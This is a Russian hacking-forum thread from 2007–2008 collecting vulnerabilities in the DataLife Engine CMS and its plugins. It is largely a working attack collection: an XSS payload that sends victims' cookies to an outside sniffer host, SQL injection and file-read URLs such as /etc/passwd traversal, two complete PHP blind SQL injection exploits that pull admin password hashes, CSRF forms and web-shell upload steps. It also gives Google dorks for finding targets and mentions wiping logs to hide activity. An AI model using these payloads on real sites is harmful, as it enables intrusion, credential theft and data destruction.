[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Обзор уязвимостей [DataLife Engine]


    Сайт производителя: www.dle-news.ru
    Актуальная версия: 8.5

    DataLife Engine v.3.7


    [Раскрытие установочного пути]

    В parse.class.php выделено 12582912 байт на проверку сообщения.
    Переполнение делается так: "<<><><><><><>>"

    [ХСС]

    Угнать кукисы можно при помощи вставки картинки.
    -- этим можно воспользваться всегда, даже если нету таких кнопок при
    добавлении новости, личном сообщении, добавления коментария.
    Непосредственно сама ХСС:

    Code:
    [IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
    cookie;'><!--[/IMG]
    [Проблемы с SQL]

    Code:
    http://target.net/category/topic/ -- где topic -- это не существующая тема. 
    Результат: SELECT id FROM nws_category WHERE parentid=not detected ;

    Версия 4.1 возможно более ранние SQL Injection.


    Описание:
    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

    Code:
    http://[host]/index.php?subaction=userinfo&user=[code]

    DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl)
    DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
    SQL injection for <=4.1 version exploit
    RGdatalife - exploit (php version)
     
    #1 Solide Snake, 28 Oct 2007
    Last edited by a moderator: 15 Jul 2010
    8 people like this.
    1. halkfild

      halkfild Members of Antichat

      Joined:
      11 Nov 2005
      Messages:
      365
      Likes Received:
      578
      Reputations:
      313
      в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

      пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

      Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

      баг в функциях оптимизации базы

      http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

      пакеты браузера

      расскрытие при повторном посте
      и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/

      так же мона юзать xss

      method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
      ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
      или
      ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

      вообщем имеем пост ксс и расскрытие пути

      з.ы. сначала незаметил и создал новую тему ^^
       
      _________________________
      2 people like this.
      1. Solide Snake

        Solide Snake Banned

        Joined:
        28 Apr 2007
        Messages:
        382
        Likes Received:
        820
        Reputations:
        69
        DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

        Листилка (читалка) файлов там где не стоит мэйджик квотез:

        Code:
        http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
        Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

        (c) Scipio
         
        #3 Solide Snake, 13 Jan 2008
        Last edited by a moderator: 8 Jun 2009
        3 people like this.
        1. r00tk1d

          r00tk1d New Member

          Joined:
          3 Feb 2008
          Messages:
          1
          Likes Received:
          4
          Reputations:
          0
          Раскрытие полного установочного пути (для авторизированых юзеров)
          Code:
          index.php?do=pm&doaction=newpm&user[]=
          Результат
          Code:
          Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49
           
          #4 r00tk1d, 3 Feb 2008
          Last edited: 3 Feb 2008
          4 people like this.
          1. l-l00K

            l-l00K Banned

            Joined:
            26 Nov 2006
            Messages:
            233
            Likes Received:
            433
            Reputations:
            287
            blind sql-inj в неофициальном модуле к Dle files (файловый архив)
            уязвимость после order by в параметре orderby
            Пример запроса:
            Code:
            http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
            Эксплоит:
            PHP:
            <?php
            set_time_limit
            (0);
            /*-----------------------------------------------------*/ 
            //Эксплойт для модуля Files(модуль файлового архива) к DLE
            //Автор: H00K
            /*-----------------------------------------------------*/ 

            /*-----------------Настройки---------------------------*/ 
            $host="symbiware.org";//указываем хост
            $catid "38";//Указываем id существующей категории
            $userid "0";//Указываем id администратора
            /*-----------------------------------------------------*/ 

            $good "MySQL Fatal Error";
            $bad "Архив файлов";
            $path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
            $end ",(select%201%20from%20dle_downloads),url)+--+";
            $index 1;
            $result "";

            function 
            GetMiddle($min$max)
            {
             return 
            floor($min+((($max+1)-($min-1))/2));
            }

            function 
            Check($min,$max)
            {
             if ((
            $max-$min)<=2)
              {
              global 
            $index;
              global 
            $result;
              global 
            $host;
              global 
            $path;
              echo 
            "Символ найден: ";
              if ((
            $max-$min)==1)
              if (
            CheckSQL($host$path$index.",1))={$max}")) 
               
            $result .=chr($max); else $result .=chr($min);
              if ((
            $max-$min)==2)
              {
              if (
            CheckSQL($host$path$index.",1))={$max}"))
              {
                
            $result .=chr($max);
              } else
              {
               if(
            CheckSQL($host$path$index.",1))={$max}-1"))
                
            $result .=chr($max-1); else $result .=chr($min);  
              }
              }
               echo 
            substr($result,strlen($result)-1)."<br>";
               
            flush();
               
            $index++;
                return 
            true;
              } else return 
            false;
            }

            function 
            CheckSQL ($host$path$st)
            {   global 
            $end;
                
            $line="";
                
            $fo fsockopen($host80$errno$errstr30);
                if(!
            $fo){die ("no connect");}
                else 
                { 
                   
            $headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
                   
            $headers.="Host: ".$host."\r\n";
                   
            $headers.="Connection: Close\r\n\r\n";    
                   global 
            $good;
                   global 
            $bad;
                    
            fwrite($fo$headers);
                    while (!
            feof($fo))
                    {
                        
            $line fgets($fo512);
                        if (
            strpos($line,$good)) 
                        {
                         
            fclose($fo);
                         return 
            true;
                        }
                        if (
            strpos($line,$bad))
                        {
                         
            fclose($fo);
                         return 
            false;
                        }
                    }
                    
            fclose($fo);
                }
                return 
            false;
            }
            if (
            CheckSQL($host$path$index.",1))+between+1+and+255")) 
             echo (
            " Идет подбор символов...<br>"); else  die("Ошибка");
             
            for (
            $i=0;$i<32;$i++)
            {
             
            $min 31;
             
            $max 123;
             
            $ok true;
             while (
            $ok == true)
             {
              
            $num GetMiddle($min,$max);
              if (!
            check($min,$max))
              {
              if (
            CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
              {
             echo(
            "Меньше $num <br>");
               
            $max $num;
              } else
              {
              echo (
            "Больше $num <br>"); 
               
            $min $num;
              } 
              
            flush();
             } else 
            $ok false;
             } 
            }
            echo 
            $result;
            ?>
            © H00k
             
            7 people like this.
            1. Qwazar

              Qwazar Elder - Старейшина

              Joined:
              2 Jun 2005
              Messages:
              989
              Likes Received:
              904
              Reputations:
              587
              Нашёл XSS в модуле DLE Forum 2.1

              Code:
              http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
              Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )

              З.Ы.
              Гуглом ищутся по запросу:

              intitle:"Работает на DLE Forum"
               
              #6 Qwazar, 8 Apr 2008
              Last edited: 8 Apr 2008
              3 people like this.
              1. Qwazar

                Qwazar Elder - Старейшина

                Joined:
                2 Jun 2005
                Messages:
                989
                Likes Received:
                904
                Reputations:
                587
                Ещё забавную багу нашёл в модуле DLE Forum 2.1
                :)

                Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

                Создайте страничку со следующим кодом:
                Code:
                <form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
                 Forum ID: <input type="text" name="forum_id" value="2"><br/>
                 Topic ID: <input type="text" name="topic_id" value="1"><br/>
                 Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
                 Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>  
                 UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
                 UserMail: <input type="text" name="mail" value="[email protected]"><!-- Вписываем что хотим -->
                 <input type="submit">
                </form>
                
                Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
                 
                #7 Qwazar, 8 Apr 2008
                Last edited: 8 Apr 2008
                1 person likes this.
                1. Qwazar

                  Qwazar Elder - Старейшина

                  Joined:
                  2 Jun 2005
                  Messages:
                  989
                  Likes Received:
                  904
                  Reputations:
                  587
                  Blind SQL Injection в в модуле DLE Forum 2.1:

                  На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

                  Для выполнения, нужно залогиниться.

                  Для начала нужно добавить иньекцию в БД

                  Примеры:
                  Code:
                  http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 -- 
                  Code:
                  http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) -- 
                  Затем, для её выполнения нужно обратиться по адресу:
                  Code:
                  http://site/index.php?do=forum&act=subscription
                  При написании неудачного запроса, его нужно удалить командой: (это важно!)

                  Code:
                  http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
                  Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

                  З.Ы.
                  Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
                   
                  #8 Qwazar, 8 Apr 2008
                  Last edited: 8 Apr 2008
                  2 people like this.
                  1. Qwazar

                    Qwazar Elder - Старейшина

                    Joined:
                    2 Jun 2005
                    Messages:
                    989
                    Likes Received:
                    904
                    Reputations:
                    587
                    SQL Injection в в модуле DLE mChat v. 2.0:

                    Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

                    Code:
                    http://site/admin.php?mod=mchat&start_from=SQL
                    И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

                    Code:
                    http://site/admin.php?mod=mchat&mchat_per_page=1SQL
                    Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
                     
                    2 people like this.
                    1. Qwazar

                      Qwazar Elder - Старейшина

                      Joined:
                      2 Jun 2005
                      Messages:
                      989
                      Likes Received:
                      904
                      Reputations:
                      587
                      Раскрытие пути в модуле DLE mChat v. 2.0:

                      Code:
                      http://site/admin.php?mod=mchat&action=mess_del
                      Code:
                      http://site/admin.php?mod=mchat&action=do_mess_del
                      Тоже админка :(
                       
                      #10 Qwazar, 8 Apr 2008
                      Last edited: 8 Apr 2008
                      1. Qwazar

                        Qwazar Elder - Старейшина

                        Joined:
                        2 Jun 2005
                        Messages:
                        989
                        Likes Received:
                        904
                        Reputations:
                        587
                        Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:

                        При отправке сообщения, вида:

                        Code:
                        <a href="http://www.ya.ru">А исправь ка</a>
                        В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)

                        З.Ы.
                        <script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.
                         
                        1 person likes this.
                        1. Qwazar

                          Qwazar Elder - Старейшина

                          Joined:
                          2 Jun 2005
                          Messages:
                          989
                          Likes Received:
                          904
                          Reputations:
                          587
                          Раскрытие пути в DataLife Engine v.6.7:

                          Code:
                          http://site/engine/inc/init.php
                          http://site/engine/inc/preview.php
                          http://site/engine/data/dbconfig.php (работает не везде)
                          http://site/upgrade/error.php
                          http://site/upgrade/finish.php
                          http://site/upgrade/template.php
                          
                          Раскрытие пути в модуле DLE Forum 2.1:

                          Code:
                          http://site/dle-forum.php
                          
                          Раскрытие пути в модуле DLE mChat v. 2.0:

                          Code:
                          http://site/engine/ajax/mchat.refresh.php
                          Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.

                          Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)

                          З.Ы.
                          Если кому надо - обращайтесь (написал на Java).
                           
                          #12 Qwazar, 12 Apr 2008
                          Last edited: 12 Apr 2008
                          1. Qwazar

                            Qwazar Elder - Старейшина

                            Joined:
                            2 Jun 2005
                            Messages:
                            989
                            Likes Received:
                            904
                            Reputations:
                            587
                            Вот ещё нашёл в модуле DLE Forum 2.1:



                            Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

                            Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

                            Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

                            Безопасно посмотреть префикс к таблицам БД можно так:
                            Code:
                            http://site/dle-forum.php?action=upgrade
                             
                            #13 Qwazar, 12 Apr 2008
                            Last edited: 12 Apr 2008
                            1. Qwazar

                              Qwazar Elder - Старейшина

                              Joined:
                              2 Jun 2005
                              Messages:
                              989
                              Likes Received:
                              904
                              Reputations:
                              587
                              То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.

                              В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:

                              Code:
                              http://site/mcinstall/?action=doinstall
                               
                              #14 Qwazar, 12 Apr 2008
                              Last edited: 12 Apr 2008
                              1. gibson

                                gibson Elder - Старейшина

                                Joined:
                                24 Feb 2006
                                Messages:
                                391
                                Likes Received:
                                247
                                Reputations:
                                88
                                DataLife Engine 6.7 vulnerability or higher

                                1. Бага заключается в следующем.
                                Смотрим сорс страницы пользователя
                                PHP:
                                <script language="javascript" type="text/javascript">
                                <!--
                                var 
                                dle_root       '/';
                                var 
                                dle_skin       'wf_0_1';
                                var 
                                dle_wysiwyg    'no';
                                var 
                                menu_short     'Быстрое редактирование';
                                var 
                                menu_full      'Полное редактирование';
                                var 
                                menu_profile   'Просмотр профиля';
                                var 
                                menu_fcomments 'Найти все комментарии';
                                var 
                                menu_send      'Отправить сообщение';
                                var 
                                menu_uedit     'Админцентр';
                                var 
                                dle_req_field  'Заполните все необходимые поля';
                                var 
                                dle_del_agree  'Вы действительно хотите удалить этот комментарий?';
                                //-->
                                </script>
                                Теперь смотрим сорсы страницы админа
                                PHP:
                                <script language="javascript" type="text/javascript">
                                <!--
                                var 
                                dle_root       '/cms/dle/';
                                var 
                                dle_admin      'admin.php';
                                var 
                                dle_login_hash '1bc5a8a12d90e476dbf6d1bcd58b5860';
                                var 
                                dle_skin       '123';
                                var 
                                dle_wysiwyg    'no';
                                var 
                                menu_short     'Быстрое редактирование';
                                var 
                                menu_full      'Полное редактирование';
                                var 
                                menu_profile   'Просмотр профиля';
                                var 
                                menu_fnews     'Найти все публикации';
                                var 
                                menu_fcomments 'Найти все комментарии';
                                var 
                                menu_send      'Отправить сообщение';
                                var 
                                menu_uedit     'Админцентр';
                                var 
                                dle_req_field  'Заполните все необходимые поля';
                                var 
                                dle_del_agree  'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
                                var 
                                dle_del_news   'Удалить новость';
                                var 
                                allow_dle_delete_news   true;
                                //-->
                                </script>
                                Собственно это нам и нужно
                                HTML:
                                var dle_admin      = 'admin.php'; // скрипт адмиского входа.
                                var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5
                                
                                Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
                                Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.

                                PHP:
                                <?php
                                if(isset($_POST["frame"])) {
                                    
                                $fh fopen("gibson.txt","w+");
                                    
                                fwrite($fh,$_POST["frame"]);
                                    
                                fclose($fh);
                                    
                                }
                                else{
                                ?>
                                <html>
                                <head>
                                <script>
                                    function sendFrame(FrameID,FormID,TextareaID)
                                    {
                                        content = document.getElementById(FrameID).contentDocument.text;
                                        document.getElementById(TextareaID).value = content;
                                        document.getElementById(FormID).submit();
                                    }
                                </script>
                                </head>

                                <body>
                                <div style="display:block;">
                                    <form action="gibson.php" method="post" id="form0">
                                    <textarea name="frame" id="text0" style="display:none;" ></textarea>
                                    <input type="submit" name="ok" value="ok" style="display:none;" >
                                    </form>
                                </div>

                                <IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
                                </IFRAME>

                                </body>
                                </html>
                                <?}?>
                                ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

                                2. Ну и так для развлечения ксс
                                PHP:
                                http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.cookie);
                                Нужно только чтобы рисунки были включены.
                                 
                                4 people like this.
                                1. banned

                                  banned Banned

                                  Joined:
                                  20 Nov 2006
                                  Messages:
                                  3,324
                                  Likes Received:
                                  1,193
                                  Reputations:
                                  252
                                  DLE 6.3
                                  Раскрытие пути:
                                  Code:
                                  index.php?catalog[]=
                                   
                                  1 person likes this.
                                  1. maxster

                                    maxster Elder - Старейшина

                                    Joined:
                                    27 Oct 2006
                                    Messages:
                                    188
                                    Likes Received:
                                    88
                                    Reputations:
                                    -7
                                    DataLifeEngine Online Mod Exploit Blind SQL Injection

                                    DLE Online Mod Exploit Blind SQL Injection

                                    Нашел багу я, а эксплойт написал Евгений Минаев

                                    Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
                                    Выдерает хеши любого юзера, шифрация md5(md5($pass))
                                    PHP:
                                    <?php
                                    /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
                                     
                                    /**
                                    * DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
                                    * Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)

                                    * Useful: email, password, name
                                    *
                                    * PHP versions 4 and 5
                                    *
                                    * LICENSE: This source file is subject to version 3.0 of the PHP license
                                    * that is available through the world-wide-web at the following URI:
                                    * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
                                    * the PHP License and are unable to obtain it through the web, please
                                    * send a note to [email protected] so we can mail you a copy immediately.
                                    *
                                    * @category   Exploit
                                    * @package    None
                                    * @author     Eugene Minaev <[email protected]>
                                    * @copyright  2008 ITDefence.ru
                                    * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
                                    * @version    CVS: $Id:$
                                    * @link       http://underwater.itdefence.ru
                                    * @since      File available since Release 0x00
                                    */
                                        
                                    @set_time_limit(0);
                                        @
                                    ini_set('output_buffer'0);
                                        
                                    ?>
                                     
                                    <html>
                                     
                                            <head>
                                                    <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
                                                    <style type="text/css">
                                                            body{
                                                                    font-family: Tahoma;
                                                                    font-size: 12px;
                                                                    color: #e1e1e1;
                                                                    background-color: #222;
                                                            }
                                                    </style>
                                            </head>
                                            
                                            <body>
                                                    <center>
                                                    <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
                                                          dle path:<input type="text" name="server" value="http://localhost/dle/" />
                                                            <br/><br/>
                                                           admin id:  <input type="text" name="userid" value="1" />
                                                            <br/><br/>
                                                            <input type="submit" />
                                                    </form>
                                                    </center>
                                            </body>
                                     
                                    </html>
                                     
                                    <?php
                                    if (!empty($_POST))
                                    {
                                            
                                    $_      create_function('$error''die("$error");');
                                            
                                    $userid         = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
                                            
                                    $server  = isset($_POST['server']) ? $_POST['server'] : null;
                                            
                                    $alphabet   = array('a''b''c''d''e''f''1''2''3''4''5''6''7''8''9''0');
                                            
                                    $responce       null;
                                            
                                    $password       null;
                                            
                                    $curpos  1;
                                            
                                    $alppos     0;
                                            
                                    $flag       false;
                                            
                                            
                                            
                                    $pathinfo parse_url($server);
                                            if (
                                    false === is_array($pathinfo) or empty($pathinfo['host'])) {
                                                    
                                    $_('invalid url');
                                            } else {
                                                    
                                    $fsocket fsockopen($pathinfo['host'], 80) or 
                                                            
                                    $_('hostname is dead');
                                                    
                                    $request "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                                                     
                                    "Host: {$pathinfo['host']}\r\n"
                                                                     
                                    "Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
                                                    
                                    fwrite($fsocket$request) or 
                                                            
                                    $_ ('failed to write data to socket');
                                                    while (
                                    $flag === false){
                                                                            
                                    $responce .= fread($fsocket128);
                                                                            
                                    $flag strpos($responce'</html>') ? truefalse;
                                                    }
                                            
                                    $flag false;
                                                    if (
                                    strpos($responce'MySQL Error') > 0){
                                                            while (
                                    strlen($password) < 32)
                                                            {
                                                                    
                                    $fsocket fsockopen($pathinfo['host'], 80) or 
                                                                            
                                    $_('hostname is dead'); 
                                                                    
                                    $responce null;
                                                                    
                                    $cookie   "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
                                                                    
                                    $request  "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                                                                      
                                    "Host: {$pathinfo['host']}\r\n"
                                                                                      
                                    "Connection: close\r\n"
                                                                                      
                                    "Cookie: dle_onl_session=$cookie\r\n\r\n";
                                                                    
                                    fwrite($fsocket$request) or 
                                                                            
                                    $_ ('failed to write data to socket');
                                                                    
                                    $responce fread($fsocket8000);
                                                                    if (!
                                    strpos($responce'returns more than 1 row')){
                                                                            
                                    $password .= $alphabet[$alppos];
                                                                            
                                    $curpos += 1;
                                                                            
                                    $alppos 0;
                                                                    } else {
                                                                            
                                    $alppos += 1;
                                                                    }
                                                                    
                                    $flag     false;
                                                                    
                                    $responce null;
                                                                    
                                    fclose($fsocket);
                                                            }
                                                    } else {
                                                die (
                                    '<center><h1>not vulnerable</h1></center>');
                                            }
                                                    echo 
                                    "<center><h1>$password</h1></center>";                               
                                            }
                                    }
                                     
                                       
                                    ?>
                                    Google dork: "20ка посетивших:"
                                     
                                    6 people like this.
                                    1. Elekt

                                      Elekt Banned

                                      Joined:
                                      5 Dec 2005
                                      Messages:
                                      944
                                      Likes Received:
                                      427
                                      Reputations:
                                      508
                                      Datalife Engine 6.7 XSRF


                                      Datalife Engine 6.7 XSRF
                                      _http://securityvulns.ru/Tdocument552.html

                                      Exploit:

                                      http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]

                                      Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html

                                       
                                      #18 Elekt, 21 May 2008
                                      Last edited: 13 Jun 2008
                                      1. desTiny

                                        desTiny Elder - Старейшина

                                        Joined:
                                        4 Feb 2007
                                        Messages:
                                        1,006
                                        Likes Received:
                                        444
                                        Reputations:
                                        94
                                        Заливка шелла через админку Datalife Engine
                                        Версию точно определить не смог, но в сорцах написано про 2008 год.

                                        Итак, заходим в админцентр.
                                        Далее нажимаем "Другие разделы"
                                        Выбираем где-то в конце "Архив файлов"
                                        Идём на "Настройка Архива Файлов"
                                        Допустимые форматы файлов: дописываем php.
                                        Сохраняемся, идём в "Добавить файл".
                                        Заливаем шелл :)
                                        Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.

                                        Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
                                        Потом, может, сниму видео...
                                         
                                        1 person likes this.
                                        1. Ar3s

                                          Ar3s Banned

                                          Joined:
                                          4 May 2005
                                          Messages:
                                          86
                                          Likes Received:
                                          14
                                          Reputations:
                                          5
                                          Попробуй через редактирование шаблона сайта.
                                          Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
                                          Вообщем как-то так. Экспериментируйте.